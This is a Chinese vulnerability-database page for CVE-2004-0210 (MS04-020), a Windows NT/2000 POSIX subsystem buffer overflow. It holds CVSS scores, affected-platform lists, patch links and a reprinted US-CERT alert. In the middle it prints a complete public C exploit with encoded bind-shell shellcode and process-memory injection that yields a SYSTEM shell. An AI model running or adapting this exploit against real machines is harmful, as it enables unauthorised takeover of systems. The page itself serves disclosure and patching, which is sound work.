CVE-2004-0210
CVSS7.2
发布时间 :2004-08-06 00:00:00
修订时间 :2008-09-10 15:25:31
NMCOEPS    

[原文]The POSIX component of Microsoft Windows NT and Windows 2000 allows local users to execute arbitrary code via certain parameters, possibly by modifying message length values and causing a buffer overflow.


[CNNVD]Microsoft POSIX本地权限提升(MS04-020)(CNNVD-200408-044)

        
        Microsoft Windows是一款商业视窗操作系统。
        Microsoft Windows POSIX子系统存在权限提升问题,本地攻击者可以利用这个漏洞完全控制整个系统。
        目前没有详细漏洞细节提供。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_nt:4.0:sp6:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP6
cpe:/o:microsoft:windows_2000::sp3:professionalMicrosoft Windows 2000 Professional SP3
cpe:/o:microsoft:windows_nt:4.0:sp6a:enterprise_server
cpe:/o:microsoft:windows_2000::sp3:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP3
cpe:/o:microsoft:windows_2000::sp3:advanced_serverMicrosoft Windows 2000 Advanced Server SP3
cpe:/o:microsoft:windows_nt:4.0:sp6:alpha
cpe:/o:microsoft:windows_2000::sp2:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP2
cpe:/o:microsoft:windows_nt:4.0:sp6a:workstationMicrosoft Windows 4.0 sp6a workstation
cpe:/o:microsoft:windows_2000::sp2:advanced_serverMicrosoft Windows 2000 Advanced Server SP2
cpe:/o:microsoft:windows_2000::sp4:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP4
cpe:/o:microsoft:windows_2000::sp2:professionalMicrosoft Windows 2000 Professional SP2
cpe:/o:microsoft:windows_2000::sp3:serverMicrosoft Windows 2000 Server SP3
cpe:/o:avaya:modular_messaging_message_storage_server:s3400
cpe:/o:microsoft:windows_2000::sp2:serverMicrosoft Windows 2000 Server SP2
cpe:/o:microsoft:windows_2000::sp4:serverMicrosoft Windows 2000 Server SP4
cpe:/o:microsoft:windows_nt:4.0:sp6a:serverMicrosoft Windows 4.0 sp6a server
cpe:/o:microsoft:windows_2000::sp4:professionalMicrosoft Windows 2000 Professional SP4
cpe:/o:microsoft:windows_2000::sp4:advanced_serverMicrosoft Windows 2000 Advanced Server SP4

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:2847Windows 2000 Windows POSIX Buffer Overflow
oval:org.mitre.oval:def:2166Windows NT Windows POSIX Buffer Overflow
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0210
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0210
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200408-044
(官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA04-196A.html
(VENDOR_ADVISORY)  CERT  TA04-196A
http://www.kb.cert.org/vuls/id/647436
(VENDOR_ADVISORY)  CERT-VN  VU#647436
http://xforce.iss.net/xforce/xfdb/16590
(VENDOR_ADVISORY)  XF  win-posix-bo(16590)
http://www.microsoft.com/technet/security/bulletin/ms04-020.asp
(UNKNOWN)  MS  MS04-020

- 漏洞信息

Microsoft POSIX本地权限提升(MS04-020)
高危 边界条件错误
2004-08-06 00:00:00 2005-10-20 00:00:00
本地  
        
        Microsoft Windows是一款商业视窗操作系统。
        Microsoft Windows POSIX子系统存在权限提升问题,本地攻击者可以利用这个漏洞完全控制整个系统。
        目前没有详细漏洞细节提供。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 可根据如下文章关闭POSIX子系统:
        
        http://support.microsoft.com/default.aspx?scid=kb;en-us;101270

        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS04-020)以及相应补丁:
        MS04-020:Vulnerability in POSIX Could Allow Code Execution (841872)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS04-020.mspx

        补丁下载:
        Microsoft Windows NT? Workstation 4.0 Service Pack 6a
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=25993F70-191B-4E35-AA1B-0AA1A7027880&displaylang=en

        Microsoft Windows NT Server 4.0 Service Pack 6a
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=C2018A81-446C-4930-A6CC-EA5B5960FF05&displaylang=en

        Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=9CFC4AF3-B0BC-4798-BC23-F45739E3B802&displaylang=en

        
        Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=9CFC4AF3-B0BC-4798-BC23-F45739E3B802&displaylang=en

- 漏洞信息 (24277)

Microsoft Windows 2000/NT 4 POSIX Subsystem Buffer Overflow Local Privilege Escalation Vulnerability (EDBID:24277)
windows local
2004-07-16 Verified
0 bkbll
N/A [点击下载]
source: http://www.securityfocus.com/bid/10710/info

The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.

A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer. 

/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16 
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) .... 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //......posix.exe...
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip] 
#define EIPLOCATION 0x200+4-12    //12."\DosDevices\"...
#define CANWRITEADDR 0x7ffdf02c     //...+0x20...
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"            //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";            //\0 zero NULL 
   
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%d\n", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='\0';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%s\n",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //..psxss....
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%d\n", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //.....
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
   {
    printf("CreateProcess2 failed:%d\n", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%d\n",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08x\n",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%d\n",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offset,&lports,2);
   
   memset(buffer,'\x90',MEMSIZE);
   //memset(buffer,'A',EIPLOCATION);
   buffer[MEMSIZE-1] = '\0';
   i=sizeof(bind_shell)-1;
   if(i >= EIPLOCATION) 
   {
       printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
       TerminateProcess(pi.hProcess,0);
       return 0;
   }
   i=EIPLOCATION-i;
   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //..eip
   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //.......
   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
   //write in to target
   buflen=MEMSIZE;
   if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   //modified the process .text
   if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
       return 0;
   }
   //........
   i = 0;
   textbuf[i++]='\xbf';
   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
   //......
   textbuf[i++]='\xeb';
   textbuf[i++]='\x09'; //jmp .+0b
   //.....
   if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%d\n",GetLastError());
       return 0;
   }
   ResumeThread(pi.hThread);
   Sleep(5);
   sockfd=WSASocket(2,1,0,0,0,0);
   if(sockfd == INVALID_SOCKET)
   {
       printf("[-] WSASocket error:%d\n", WSAGetLastError());
       return -1;
   }
   if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
   {
       closesocket(sockfd);
       printf("[-] Maybe not success?\n");
   }
   readwrite(sockfd);
   TerminateProcess(pi.hProcess,0);
   WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
   fd_set fdr1;
   unsigned char buffer[1024];
   int istty,ct1,ct2;
   struct timeval timer;

   memset(buffer,0,sizeof(buffer));
   istty=_isatty(0);
   timer.tv_sec=0;
   timer.tv_usec=0;

   while(1)
   {

       FD_ZERO(&fdr1);
       FD_SET(fd,&fdr1);
       ct1=select(0,&fdr1,NULL,NULL,&timer);
       if(ct1==SOCKET_ERROR)
       {
           printf("[-] select error:%d\n",GetLastError());
           break;
       }
       if(FD_ISSET(fd,&fdr1))
       {
           ct1=recv(fd,buffer,sizeof(buffer)-1,0);
           if((ct1==SOCKET_ERROR) || (ct1==0))
           {
               printf("[-] target maybe close the socket.\n");
               break;
           }
           if(_write(1,buffer,ct1)<=0)
           {
               printf("[-] write to stdout error:%d\n",GetLastError());
               break;
           }

           memset(buffer,0,sizeof(buffer));
       }
       if(istty)
       {
           if(_kbhit()) /* stdin can read */
           {


               ct1=read(0,buffer,sizeof(buffer)-1);
               if(ct1 <= 0)
               {
                   printf("[-] read from stdin error:%d\n",GetLastError());
                   break;
               }
               ct2=send(fd,buffer,ct1,0);
               if((ct2==SOCKET_ERROR) || (ct2==0))
               {
                   printf("[-] target maybe close the socket.\n");
                   break;
               }
               if( strnicmp(buffer, "exit", 4) == 0)
               {
                   printf("[+] Connection closed in exit command.\n");
                   break;
               }
               memset(buffer,0,sizeof(buffer));
           }
       }
       else
       {
           ct1=read(0,buffer,sizeof(buffer)-1);
           if(ct1<=0)
           {
               printf("[-] read from nontty stdin error:%d\n",GetLastError());
               break;
           }
           ct2=send(fd,buffer,ct1,0);
           if((ct2==SOCKET_ERROR) || (ct2==0))
           {
               printf("[-] target maybe close the socket\n");
               break;
           }
           if( strnicmp(buffer, "exit", 4) == 0)
           {
               printf("[+] Connection closed in exit command.\n");
               break;
           }
           memset(buffer,0,sizeof(buffer));
       }
   }
   return(1);
}


/* ....server .port */
int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;
   short port2;

   port2=port & 0xffff;

   if((host=gethostbyname(server))==NULL)
   {
       printf("gethostbyname(%s) error\n",server);
       return(-1);
   }

   memset(&cliaddr,0,sizeof(struct sockaddr));
   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port2);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
   {
       printf("[-] Trying %s:%d error\n",server,port);
       closesocket(sockfd);
       return(-1);
   }
   //printf("ok\r\n");
   return(0);
}
		

- 漏洞信息 (F33782)

Technical Cyber Security Alert 2004-196A (PacketStormID:F33782)
2004-07-14 00:00:00
US-CERT  us-cert.gov
advisory,remote,overflow,shell,vulnerability,code execution
windows,osx
CVE-2003-1041,CVE-2004-0201,CVE-2004-0205,CVE-2004-0210,CVE-2004-0212,CVE-2004-0213,CVE-2004-0215,CVE-2004-0420
[点击下载]

Technical Cyber Security Alert TA04-196A - Multitudes of vulnerabilities have been discovered amongst the Microsoft product line. Flaws that exist include Outlook Express failing to properly validate malformed e-mail headers, the Utility Manager allowing code execution, POSIX allowing code execution, IIS having a buffer overflow, the Task Scheduler having a buffer overflow, the HTML Help component failing to properly validate input data, and the Windows Shell allowing remote code execution.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

                        National Cyber Alert System
                   Technical Cyber Security Alert TA04-196A

Multiple Vulnerabilities in Microsoft Windows Components and Outlook Express

   Original release date: July 14, 2004
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows Systems

Overview

   Microsoft has released a Security Bulletin Summary for July, 2004.
   This summary includes several bulletins that address vulnerabilities
   in various Windows applications and components. Exploitation of some
   vulnerabilities can result in the remote execution of arbitrary code
   by a remote attacker. Details of the vulnerabilities and their impacts
   are provided below.

I. Description

   The table below provides a reference between Microsoft's Security
   Bulletins and the related US-CERT Vulnerability Notes. More
   information related to the vulnerabilities is available in these
   documents.

   _________________________________________________________________

   Format:
 
   Microsoft Security Bulletin 

   Related US-CERT Vulnerability Note(s)
   _________________________________________________________________

   MS04-024: Vulnerability in Windows Shell Could Allow Remote Code
   Execution (839645) 

   VU#106324 Microsoft Windows contains a
   vulnerability in the way the Windows Shell launches applications
   _________________________________________________________________
   
   MS04-023: Vulnerability in HTML Help Could Allow Code Execution
   (840315) 

   VU#187196 Microsoft Windows fails to properly process
   showHelp URLs

   VU#920060 Microsoft Windows HTML Help component fails to properly
   validate input data
   _________________________________________________________________

   MS04-022: Vulnerability in Task Scheduler Could Allow Code Execution
   (841873) 

   VU#228028 Microsoft Windows Task Scheduler Buffer Overflow
   _________________________________________________________________

   MS04-021: Security Update for IIS 4.0 (841373) 

   VU#717748 Microsoft Internet Information Server (IIS) 4.0 contains a 
   buffer overflow in the redirect function
   _________________________________________________________________
    
   MS04-020: Vulnerability in POSIX Could Allow Code Execution (841872)
   
   VU#647436 Microsoft Windows contains a buffer overflow in the POSIX
   subsystem
   _________________________________________________________________
   
   MS04-019: Vulnerability in Utility Manager Could Allow Code Execution
   (842526) 

   VU#868580 Microsoft Windows Utility Manager launches applications with 
   system privileges
   _________________________________________________________________
  
   MS04-018: Cumulative Security Update for Outlook Express (823353)

   VU#869640 Microsoft Outlook Express fails to properly validate
   malformed e-mail headers
   _________________________________________________________________

II. Impact

   A remote, unauthenticated attacker may exploit VU#717748 to execute
   arbitrary code on an IIS 4.0 system.

   Exploitation of VU#106324, VU#187196, VU#920060, and VU#228028, would
   permit a remote attacker to execute arbitrary code with the privileges
   of the current user. The attacker would have to convince a victim to
   view an HTML document (web page, HTML email) or click on a crafted URI
   link.

   Vulnerabilities described in VU#647436 and VU#868580 permit a local
   user to gain elevated privileges on the local system.

   Exploitation of VU#869640 can lead to a denial-of-service condition
   against Outlook Express.

III. Solution

Apply a patch

   Microsoft has provided the patches for these vulnerabilities in the
   Security Bulletins and on Windows Update.

Do not follow unsolicited links

   It is generally a good practice not to click on unsolicited URLs
   received in email, instant messages, web forums, or Internet relay
   chat (IRC) channels. However, this practice does not always prevent
   exploitation of these types vulnerabilities. For example, a trusted
   web site could be compromised and modified to deliver exploit script
   to unsuspecting clients.

Maintain updated anti-virus software

   Anti-virus software with updated virus definitions may identify and
   prevent some exploit attempts, but variations of exploits or attack
   vectors may not be detected. Do not rely solely on anti-virus software
   to defend against these vulnerabilities. More information about
   viruses and anti-virus vendors is available on the US-CERT Computer
   Virus Resources page.

Appendix A. Vendor Information

   Specific information about these issue are available in the Security
   Bulletin Summary for July, 2004 and the US-CERT Vulnerability Notes.

Appendix B. References

     * Microsoft's Security Bulletin Summary for July, 2004 -
       <http://www.microsoft.com/technet/security/bulletin/ms04-jul.mspx>

     * US-CERT Vulnerability Note VU#106324 -
       <http://www.kb.cert.org/vuls/id/106324>

     * US-CERT Vulnerability Note VU#187196 -
       <http://www.kb.cert.org/vuls/id/187196>

     * US-CERT Vulnerability Note VU#920060 -
       <http://www.kb.cert.org/vuls/id/920060>

     * US-CERT Vulnerability Note VU#228028 -
       <http://www.kb.cert.org/vuls/id/228028>

     * US-CERT Vulnerability Note VU#717748 -
       <http://www.kb.cert.org/vuls/id/717748>

     * US-CERT Vulnerability Note VU#647436 -
       <http://www.kb.cert.org/vuls/id/647436>

     * US-CERT Vulnerability Note VU#868580 -
       <http://www.kb.cert.org/vuls/id/868580>

     * US-CERT Vulnerability Note VU#869640 -
       <http://www.kb.cert.org/vuls/id/869640>

     * Increase Your Browsing and E-Mail Safety -
       <http://www.microsoft.com/security/incident/settings.mspx>

     * Working with Internet Explorer 6 Security Settings -
       <http://www.microsoft.com/windows/ie/using/howto/security/settings
       .mspx>
   _________________________________________________________________

   This alert was created by Jason A. Rafail. Feedback can be directed to
   the Vulnerability Note authors: Jason A. Rafail, Jeff P. Lanza, Chad
   R. Dougherty, Damon G. Morda, and Art Manion.
   _________________________________________________________________

   This document is available from: 
   
      <http://www.us-cert.gov/cas/techalerts/TA04-196A.html>      
   
   _________________________________________________________________
   
   Copyright 2004 Carnegie Mellon University.
   
   Terms of use: <http://www.us-cert.gov/legal.html>
   _________________________________________________________________

   Revision History

   July 14, 2004: Initial release

                        Last updated July 14, 2004 
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFA9ZD4XlvNRxAkFWARApJoAJ9kLfHwh9rjM39LkWpRYYkPDngD+QCcDj6Q
P8VLUzmOQoMFj+903rIsKHU=
=4I7x
-----END PGP SIGNATURE-----
    

- 漏洞信息

7800
Microsoft Windows POSIX Subsystem Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

A local overflow exists in Microsoft Windows POSIX Subsystem. The Microsoft Windows POSIX Subsystem fails to check the length of certain parameters resulting in a buffer overflow overflow. With a specially crafted request, an attacker can run code with elevated privileges, resulting in a loss of confidentiality, integrity, and availability.

- 时间线

2004-07-13 Unknow
2004-07-16 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released patch MS04-020 to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft Windows POSIX Subsystem Buffer Overflow Local Privilege Escalation Vulnerability
Boundary Condition Error 10710
No Yes
2004-07-13 12:00:00 2009-07-12 06:16:00
Discovery of this vulnerability is credited to Rafal Wojtczuk of Network Associates.

- 受影响的程序版本

Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Server 4.0 SP6a
+ Avaya DefinityOne Media Servers
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
+ Avaya S8100 Media Servers 0
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT 4.0 SP6 alpha
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Interix 2.2
Avaya S3400 Message Application Server 0
+ Microsoft Windows 2000 Server

- 漏洞讨论

The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.

A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT
product. This exploit is not otherwise publicly available or known
to be circulating in the wild.

An exploit to leverage this vulnerability has been made available by bkbll &lt;bkbll@cnhonker.net&gt;. It is reported that this exploit has been tested on Microsoft Windows 2000 Service Pack 4 platforms.

- 解决方案

Microsoft has released an updated security bulletin (MS04-020) and fixes to address this issue for supported operating systems.

Avaya has released an advisory that acknowledges this vulnerability for Avaya products. Avaya advise that customers follow the Microsoft recommendations to address this issue. Please see the referenced Avaya advisory at the following location for further details:
http://support.avaya.com/japple/css/japple?temp.groupID=128450&temp.selectedFamily=128451&temp.selectedProduct=154235&temp.selectedBucket=126655&temp.feedbackState=askForFeedback&temp.documentID=197331&PAGE=avaya.css.CSSLvl1Detail&executeTransaction=avaya.css.UsageUpdate()


Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Advanced Server SP3

Microsoft Windows 2000 Advanced Server SP2

Microsoft Windows NT Workstation 4.0 SP6a

Microsoft Windows 2000 Advanced Server SP4

Microsoft Windows NT Terminal Server 4.0 SP6

Microsoft Windows 2000 Server SP3

Microsoft Interix 2.2

Microsoft Windows NT Enterprise Server 4.0 SP6a

Microsoft Windows 2000 Server SP4

Microsoft Windows 2000 Professional SP3

Microsoft Windows NT Server 4.0 SP6a

Microsoft Windows 2000 Professional SP4

Microsoft Windows 2000 Professional SP2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站